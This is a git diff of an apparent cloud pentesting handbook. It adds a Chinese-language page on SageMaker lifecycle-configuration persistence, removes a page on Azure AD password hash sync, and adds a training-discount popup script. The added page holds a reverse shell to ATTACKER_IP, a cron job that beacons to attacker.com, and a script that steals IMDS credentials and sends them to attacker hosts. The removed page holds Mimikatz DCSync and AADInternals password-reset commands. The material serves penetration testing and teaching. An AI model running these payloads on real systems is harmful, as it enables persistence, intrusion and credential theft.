diff --git a/src/SUMMARY.md b/src/SUMMARY.md
index 17225a2e2..582319269 100644
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@@ -442,11 +442,13 @@
   - [Az - Permissions for a Pentest](pentesting-cloud/azure-security/az-permissions-for-a-pentest.md)
   - [Az - Lateral Movement (Cloud - On-Prem)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md)
     - [Az AD Connect - Hybrid Identity](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md)
-      - [Az- Synchronising New Users](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md)
-      - [Az - Default Applications](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md)
+      - [Az - Synchronising New Users](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md)
       - [Az - Cloud Kerberos Trust](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md)
       - [Az - Federation](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md)
-      - [Az - PHS - Password Hash Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md)
+      - [Az - Cloud Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-sync.md)
+      - [Az - Connect Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-connect-sync.md)
+      - [Az - Default Applications](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md)
+      - [Az - Domain Services](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-domain-services.md)
       - [Az - PTA - Pass-through Authentication](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md)
       - [Az - Seamless SSO](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md)
       - [Az - Arc vulnerable GPO Deploy Script](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md)
diff --git a/src/images/discount.jpeg b/src/images/discount.jpeg
new file mode 100644
index 000000000..5c0b098d4
Binary files /dev/null and b/src/images/discount.jpeg differ
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md
new file mode 100644
index 000000000..0c97b06c4
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md
@@ -0,0 +1,156 @@
+# AWS - SageMaker 生命周期配置持久性
+
+## 持久性技术概述
+
+本节概述了通过滥用生命周期配置（LCCs）在 SageMaker 中获得持久性的方法，包括反向 shell、cron 作业、通过 IMDS 进行的凭证窃取和 SSH 后门。这些脚本以实例的 IAM 角色运行，并可以在重启后保持持久性。大多数技术需要出站网络访问，但在 AWS 控制平面上使用服务仍然可以在环境处于“仅 VPC”模式时取得成功。
+#### 注意：SageMaker 笔记本实例本质上是专门为机器学习工作负载配置的托管 EC2 实例。
+
+## 所需权限
+* 笔记本实例：
+```
+sagemaker:CreateNotebookInstanceLifecycleConfig
+sagemaker:UpdateNotebookInstanceLifecycleConfig
+sagemaker:CreateNotebookInstance
+sagemaker:UpdateNotebookInstance
+```
+* Studio Applications:
+```
+sagemaker:CreateStudioLifecycleConfig
+sagemaker:UpdateStudioLifecycleConfig
+sagemaker:UpdateUserProfile
+sagemaker:UpdateSpace
+sagemaker:UpdateDomain
+```
+## 设置笔记本实例的生命周期配置
+
+### 示例 AWS CLI 命令：
+```bash
+# Create Lifecycle Configuration*
+
+aws sagemaker create-notebook-instance-lifecycle-config \
+--notebook-instance-lifecycle-config-name attacker-lcc \
+--on-start Content=$(base64 -w0 reverse_shell.sh)
+
+
+# Attach Lifecycle Configuration to Notebook Instance*
+
+aws sagemaker update-notebook-instance \
+--notebook-instance-name victim-instance \
+--lifecycle-config-name attacker-lcc
+```
+## 在 SageMaker Studio 上设置生命周期配置
+
+生命周期配置可以在不同级别和不同应用类型的 SageMaker Studio 中附加。
+
+### Studio 域级别（所有用户）
+```bash
+# Create Studio Lifecycle Configuration*
+
+aws sagemaker create-studio-lifecycle-config \
+--studio-lifecycle-config-name attacker-studio-lcc \
+--studio-lifecycle-config-app-type JupyterServer \
+--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
+
+
+# Apply LCC to entire Studio Domain*
+
+aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
+"JupyterServerAppSettings": {
+"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
+}
+}'
+```
+### Studio Space Level (个人或共享空间)
+```bash
+# Update SageMaker Studio Space to attach LCC*
+
+aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
+"JupyterServerAppSettings": {
+"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
+}
+}'
+```
+## Studio 应用程序生命周期配置的类型
+
+生命周期配置可以具体应用于不同的 SageMaker Studio 应用程序类型：
+* JupyterServer: 在 Jupyter 服务器启动期间运行脚本，适合用于持久性机制，如反向 shell 和 cron 作业。
+* KernelGateway: 在内核网关应用程序启动期间执行，适用于初始设置或持久访问。
+* CodeEditor: 应用于代码编辑器 (Code-OSS)，启用在代码编辑会话开始时执行的脚本。
+
+### 每种类型的示例命令：
+
+### JupyterServer
+```bash
+aws sagemaker create-studio-lifecycle-config \
+--studio-lifecycle-config-name attacker-jupyter-lcc \
+--studio-lifecycle-config-app-type JupyterServer \
+--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
+```
+### KernelGateway
+```bash
+aws sagemaker create-studio-lifecycle-config \
+--studio-lifecycle-config-name attacker-kernelgateway-lcc \
+--studio-lifecycle-config-app-type KernelGateway \
+--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)
+```
+### 代码编辑器
+```bash
+aws sagemaker create-studio-lifecycle-config \
+--studio-lifecycle-config-name attacker-codeeditor-lcc \
+--studio-lifecycle-config-app-type CodeEditor \
+--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
+```
+### 关键信息：
+* 在域或空间级别附加LCC会影响范围内的所有用户或应用程序。
+* 需要更高的权限（sagemaker:UpdateDomain, sagemaker:UpdateSpace），通常在空间级别比在域级别更可行。
+* 网络级别的控制（例如，严格的出口过滤）可以防止成功的反向Shell或数据外泄。
+
+## 通过生命周期配置进行反向Shell
+
+SageMaker生命周期配置（LCC）在笔记本实例启动时执行自定义脚本。具有权限的攻击者可以建立持久的反向Shell。
+
+### 有效载荷示例：
+```
+#!/bin/bash
+ATTACKER_IP="<ATTACKER_IP>"
+ATTACKER_PORT="<ATTACKER_PORT>"
+nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
+```
+## Cron Job Persistence via Lifecycle Configuration
+
+攻击者可以通过 LCC 脚本注入 cron 作业，确保恶意脚本或命令的定期执行，从而实现隐秘的持久性。
+
+### Payload Example:
+```
+#!/bin/bash
+PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
+CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
+CRON_JOB="*/30 * * * * $CRON_CMD"
+
+mkdir -p /home/ec2-user/SageMaker/.local_tasks
+echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
+chmod +x $PAYLOAD_PATH
+
+(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
+```
+## 通过 IMDS (v1 & v2) 进行凭证外泄
+
+生命周期配置可以查询实例元数据服务 (IMDS) 以检索 IAM 凭证并将其外泄到攻击者控制的位置。
+
+### 有效载荷示例：
+```bash
+#!/bin/bash
+ATTACKER_BUCKET="s3://attacker-controlled-bucket"
+TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
+ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
+curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json
+
+# Exfiltrate via S3*
+
+aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
+
+# Alternatively, exfiltrate via HTTP POST*
+
+curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
+```
+
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md
deleted file mode 100644
index f4f928ff0..000000000
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md
+++ /dev/null
@@ -1,114 +0,0 @@
-# Az - PHS - 密码哈希同步
-
-{{#include ../../../../banners/hacktricks-training.md}}
-
-## 基本信息
-
-[来自文档：](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **密码哈希同步** 是实现混合身份的一种登录方法。 **Azure AD Connect** 将用户密码的哈希值的哈希值从本地 Active Directory 实例同步到基于云的 Azure AD 实例。
-
-<figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure>
-
-这是公司用来将本地 AD 与 Azure AD 同步的 **最常见方法**。
-
-所有 **用户** 和 **密码哈希的哈希值** 都从本地同步到 Azure AD。然而，**明文密码** 或 **原始** **哈希** 不会发送到 Azure AD。\
-此外，**内置** 安全组（如域管理员...）不会 **同步** 到 Azure AD。
-
-**哈希同步** 每 **2 分钟** 发生一次。然而，默认情况下，**密码过期** 和 **帐户** **过期** 在 Azure AD 中 **不同步**。因此，**本地密码已过期**（未更改）的用户可以继续使用旧密码 **访问 Azure 资源**。
-
-当本地用户想要访问 Azure 资源时，**身份验证在 Azure AD 上进行**。
-
-**PHS** 是 **身份保护** 和 AAD 域服务等功能所必需的。
-
-## 侧向移动
-
-当配置 PHS 时，一些 **特权帐户** 会自动 **创建**：
-
-- 帐户 **`MSOL_<installationID>`** 会自动在本地 AD 中创建。该帐户被赋予 **目录同步帐户** 角色（请参见 [文档](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)），这意味着它在本地 AD 中具有 **复制（DCSync）权限**。
-- 帐户 **`Sync_<name of on-prem ADConnect Server>_installationID`** 在 Azure AD 中创建。该帐户可以 **重置 Azure AD 中任何用户**（同步或仅云）的密码。
-
-前两个特权帐户的密码 **存储在 SQL 服务器** 上，该服务器是 **Azure AD Connect 安装的服务器**。管理员可以提取这些特权用户的明文密码。\
-数据库位于 `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`。
-
-可以从其中一个表中提取配置，其中一个是加密的：
-
-`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`
-
-**加密配置** 使用 **DPAPI** 加密，包含本地 AD 中 **`MSOL_*`** 用户的 **密码** 和 AzureAD 中 **Sync\_\*** 的密码。因此，妥协这些密码可以提升到 AD 和 AzureAD 的权限。
-
-您可以在 [此演讲中找到有关这些凭据如何存储和解密的完整概述](https://www.youtube.com/watch?v=JEIR5oGCwdg)。
-
-### 查找 **Azure AD Connect 服务器**
-
-如果 **安装 Azure AD Connect 的服务器** 加入了域（文档中推荐），可以通过以下方式找到它：
-```bash
-# ActiveDirectory module
-Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl
-
-#Azure AD module
-Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}
-```
-### 滥用 MSOL\_*
-```bash
-# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
-Get-AADIntSyncCredentials
-
-# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
-runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
-Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
-```
-> [!CAUTION]
-> 您还可以使用 [**adconnectdump**](https://github.com/dirkjanm/adconnectdump) 来获取这些凭据。
-
-### 滥用 Sync\_\*
-
-妥协 **`Sync_*`** 账户可以 **重置任何用户的密码**（包括全局管理员）。
-```bash
-# This command, run previously, will give us alse the creds of this account
-Get-AADIntSyncCredentials
-
-# Get access token for Sync_* account
-$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
-$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
-Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache
-
-# Get global admins
-Get-AADIntGlobalAdmins
-
-# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
-Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId
-
-# Reset the users password
-Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose
-
-# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
-```
-也可以**仅修改云**用户的密码（即使这出乎意料）
-```bash
-# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
-# The CloudAnchor is of the format USER_ObjectID.
-Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID
-
-# Reset password
-Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers
-```
-可以导出该用户的密码。
-
-> [!CAUTION]
-> 另一个选项是**为服务主体分配特权权限**，而**Sync**用户有**权限**这样做，然后**访问该服务主体**作为特权提升的方法。
-
-### 无缝单点登录
-
-可以使用PHS进行无缝单点登录，这对其他滥用是脆弱的。请查看：
-
-{{#ref}}
-seamless-sso.md
-{{#endref}}
-
-## 参考文献
-
-- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs)
-- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
-- [https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf](https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf)
-- [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8)
-
-{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/theme/ai.js b/theme/ai.js
index 13337c3f1..02f51127e 100644
--- a/theme/ai.js
+++ b/theme/ai.js
@@ -1,3 +1,104 @@
+/**
+ * HackTricks Training Discounts
+ */
+
+
+(() => {
+  const KEY = 'htSummerDiscountsDismissed';
+  const IMG = '/images/discount.jpeg';
+  const TXT = 'Click here for HT Summer Discounts, Last Days!';
+  const URL = 'https://training.hacktricks.xyz';
+
+  /* Stop if user already dismissed */
+  if (localStorage.getItem(KEY) === 'true') return;
+
+  /* Quick helper */
+  const $ = (tag, css = '') => Object.assign(document.createElement(tag), { style: css });
+
+  /* --- Overlay (blur + dim) --- */
+  const overlay = $('div', `
+    position: fixed; inset: 0;
+    background: rgba(0,0,0,.4);
+    backdrop-filter: blur(6px);
+    display: flex; justify-content: center; align-items: center;
+    z-index: 10000;
+  `);
+
+  /* --- Modal --- */
+  const modal = $('div', `
+    max-width: 90vw; width: 480px;
+    background: #fff; border-radius: 12px; overflow: hidden;
+    box-shadow: 0 8px 24px rgba(0,0,0,.35);
+    font-family: system-ui, sans-serif;
+    display: flex; flex-direction: column; align-items: stretch;
+  `);
+
+  /* --- Title bar (link + close) --- */
+  const titleBar = $('div', `
+    position: relative;
+    padding: 1rem 2.5rem 1rem 1rem; /* room for the close button */
+    text-align: center;
+    background: #222; color: #fff;
+    font-size: 1.3rem; font-weight: 700;
+  `);
+
+  const link = $('a', `
+    color: inherit;
+    text-decoration: none;
+    display: block;
+  `);
+  link.href = URL;
+  link.target = '_blank';
+  link.rel = 'noopener noreferrer';
+  link.textContent = TXT;
+  titleBar.appendChild(link);
+
+  /* Close "X" (no persistence) */
+  const closeBtn = $('button', `
+    position: absolute; top: .25rem; right: .5rem;
+    background: transparent; border: none;
+    color: #fff; font-size: 1.4rem; line-height: 1;
+    cursor: pointer; padding: 0; margin: 0;
+  `);
+  closeBtn.setAttribute('aria-label', 'Close');
+  closeBtn.textContent = '✕';
+  closeBtn.onclick = () => overlay.remove();
+  titleBar.appendChild(closeBtn);
+
+  /* --- Image --- */
+  const img = $('img');
+  img.src = IMG; img.alt = TXT; img.style.width = '100%';
+
+  /* --- Checkbox row --- */
+  const label = $('label', `
+    display: flex; align-items: center; justify-content: center; gap: .6rem;
+    padding: 1rem; font-size: 1rem; color: #222; cursor: pointer;
+  `);
+  const cb = $('input'); cb.type = 'checkbox'; cb.style.scale = '1.2';
+  cb.onchange = () => {
+    if (cb.checked) {
+      localStorage.setItem(KEY, 'true');
+      overlay.remove();
+    }
+  };
+  label.append(cb, document.createTextNode("Don't show again"));
+
+  /* --- Assemble & inject --- */
+  modal.append(titleBar, img, label);
+  overlay.appendChild(modal);
+
+  if (document.readyState === 'loading') {
+    document.addEventListener('DOMContentLoaded', () => document.body.appendChild(overlay), { once: true });
+  } else {
+    document.body.appendChild(overlay);
+  }
+})();
+
+
+
+
+
+
 /**
  * HackTricks AI Chat Widget v1.16 – resizable sidebar
  * ---------------------------------------------------